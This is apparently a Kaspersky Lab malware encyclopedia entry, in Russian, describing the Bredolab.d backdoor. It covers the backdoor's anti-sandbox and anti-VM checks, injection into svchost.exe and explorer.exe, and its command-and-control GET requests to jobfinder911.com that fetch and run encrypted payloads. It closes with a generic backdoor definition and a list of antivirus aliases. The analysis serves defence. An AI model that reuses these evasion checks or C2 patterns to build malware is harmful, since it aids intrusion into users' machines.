Russian
Интернет находится в нормальном состоянии, крупных эпидемий и других серьезных инцидентов службой мониторинга «Лаборатории Касперского» не зафиксировано. Уровень опасности: 1

Backdoor.Win32.Bredolab.d

Время детектирования 28 июн 2009 07:10 MSK
Время выпуска обновления 22 июл 2009 18:51 MSK
Описание опубликовано 03 авг 2009 17:11 MSK

Деструктивная активность

Проверяет наличие файлов %System%\drivers\hgfs.sys, %System%\drivers\prleth.sys, %System%\drivers\vmhgfs.sys, наличие библиотек dbghelp.dll, sbiedll.dll в своем адресном пространстве. В случае обнаружения завершается.

Проверяет ключ реестра:

HKLM\HARDWARE\Description\System\SystemBiosVersion, в этом значении ищет вхождение строки «VBOX», в случае обнаружения завершается.

Чтобы исключить возможность исполнения себя в SandBox, проверяет несоответствие:

  • Имя пользователя — CurrentUser, Sandbox;
  • Имя компьютера — SANDBOX;
  • Имя пользователя — user и имя пользователя — USER;
  • Значения ключа ProductID в HKLM\Microsoft\Windows\CurrentVersion:
    • 55274-640-2673064-23950 (JoeBox)
    • 76487-644-3177037-23510 (CWSandbox)
    • 76487-337-8429955-22614 (Anubis)

Проверяет имя, соответствующее запускаемому файлу:

  • Если имя grpconv.exe, проверяет наличие в системе процесса cfp.exe. В случае обнаружения перемещает себя в %Temp%\~TM%TempName%, завершается.
    В противном случае создает новый процесс svchost.exe, инжектит в него свою часть, запускает в нем новый поток, завершается.
  • Если имя explorer.exe, проверяет наличие файла %Temp%\~TM27FB4A.TMP, если находит, то в HKCU\SoftWare\Microsoft\WindowsNT\CurrentVersion\Winlogon устанавливает значение ключа RunGrpCon в 1, перемещает
    %Temp%\~TM27FB4A.TMP в %System%\Wbem\grpconv.exe, устанавливает у
    %System%\Wbem\grpconv.exe атрибуты времени такие же как у
    %System%\smss.exe, удаляет файлы %System%\grpconv.exe,
    %System%\dllcache\grpconv.exe.
    Создает мьютекс с именем _SYSTEM_4D2EF3A_.
    Создает новый процесс svchost.exe, инжектит в него свою часть, запускает в нем новый поток, завершается.
  • В случае произвольного имени, проверяет наличие в системе процесса cfp.exe. В случае обнаружения перемещает себя в %Temp%\~TM%TempName%, завершается.
    В противном случае копирует себя в %Temp%\~TM27FB4A.TMP, инжектит себя в explorer.exe, запускает в нем новый поток, перемещает себя в %Temp%\~TM%TempName%, завершается.

    Во всех случаях осуществляет проверку соответствия загруженных в свое адресное пространство модулей kernel.dll и ntdll.dll с файлами-образами на диске в %System%. В kernel32.dll проверяет корректность функций CreateRemoteThread, WriteProcessMemory, VirtualProtectEx, VirtualAllocEx, в ntdll.dll функций — ZwAllocateVirtualMemory, ZwWriteVirtualMemory, ZwProtectVirtualMemory, ZwCreateThread, ZwAdjustPrivelegesToken, ZwOpenProcess, ZwOpenThread, ZwQueueApcThread и автоматически производит корректировку при несоответствии (anti-sandbox).

Работа svchost.exe:

Производится циклическая попытка подключения к jobfinder911.com.

При удачном подключении отправляется GET-запрос:

GET /l/controller.php?action=bot&entity_list={числа через запятую}
&uid=11&first={0|1}&guid={VolumeSerialNumber}&rnd=6293712

На основании полученного содержимого и значения поля Magic-Number, в котором хранится длина ключа и значение самого ключа, происходит расшифровка данных, которые могут записываться либо в новый файл
%Windows%\Temp\wpv%rand_number%.exe, с дальнейшим запуском файла, либо данные записываются в новый создаваемый процесс svchost (для этого случая установлен перехватчик функции ZwResumeThread из ntdll.dll, осуществляющий запись зловреда — функция вызывается из используемой CreateProcess).

Второй GET-запрос вида:

GET /l/controller.php?action=report&guid=0&rnd=6293712&uid=11&
entity={число:unique_start|unique_failed|repeat_start|repeat_failed;число:...}

Осуществляется запись служебной информации в %APPDATA%\wiaserva.log.


Bookmark and Share
Закладки
Backdoor

Вредоносная программа, предназначенная для скрытого удалённого управления злоумышленником пораженным компьютером. По своей функциональности бэкдоры во многом напоминают различные системы администрирования, разрабатываемые и распространяемые фирмами-производителями программных продуктов.

Эти вредоносные программы позволяют делать с компьютером всё, что в них заложил автор: принимать или отсылать файлы, запускать и уничтожать их, выводить сообщения, стирать информацию, перезагружать компьютер и т.д.

Представители этого типа вредоносных программ очень часто используются для объединения компьютеров-жертв в так называемые «ботнеты», централизованно управляемые злоумышленниками в злонамеренных целях.

Отдельно следует отметить группу бэкдоров, способных распространяться по сети и внедряться в другие компьютеры, как это делают сетевые черви. Отличает такие бэкдоры от червей то, что они распространяются по сети не самопроизвольно (как сетевые черви), а только по специальной команде «хозяина», управляющего данной копией троянской программы.


Другие модификации

Другие названия

Backdoor.Win32.Bredolab.d («Лаборатория Касперского») также известен как:

  • Trojan.Win32.Inject.aesl («Лаборатория Касперского»)
  • Trojan: Generic Downloader.x!cg (McAfee)
  • Trojan: Generic Downloader.x!cg (McAfee)
  • Mal/Generic-A (Sophos)
  • Mal/Generic-A (Sophos)
  • Trojan.Crypt-204 (ClamAV)
  • Trojan.Crypt-204 (ClamAV)
  • Generic Trojan (Panda)
  • Generic Trojan (Panda)
  • W32/Trojan2.HPLU (FPROT)
  • W32/Trojan2.HPLU (FPROT)
  • TrojanDownloader:Win32/Bredolab.X (MS(OneCare))
  • TrojanDownloader:Win32/Bredolab.X (MS(OneCare))
  • Win32/TrojanDownloader.Bredolab.AA trojan (Nod32)
  • Win32/TrojanDownloader.Bredolab.AA trojan (Nod32)
  • Trojan.Generic.1651456 (BitDef7)
  • Trojan.Generic.1651456 (BitDef7)
  • Trojan.Inject.MWT (VirusBuster)
  • Trojan.Inject.MWT (VirusBuster)
  • Win32:Trojan-gen {Other} (AVAST)
  • Win32:Trojan-gen {Other} (AVAST)
  • Trojan-Downloader.Win32.Bredolab (Ikarus)
  • Trojan-Downloader.Win32.Bredolab (Ikarus)
  • SHeur2.ACUB (AVG)
  • SHeur2.ACUB (AVG)
  • TR/Crypt.XPACK.Gen (AVIRA)
  • TR/Crypt.XPACK.Gen (AVIRA)
  • Trojan Horse (NAV)
  • Trojan Horse (NAV)
  • W32/Smalltroj.OCHC (Norman)
  • W32/Smalltroj.OCHC (Norman)
  • Trojan.DL.Win32.Bredolab.a (Rising)
  • Trojan.DL.Win32.Bredolab.a (Rising)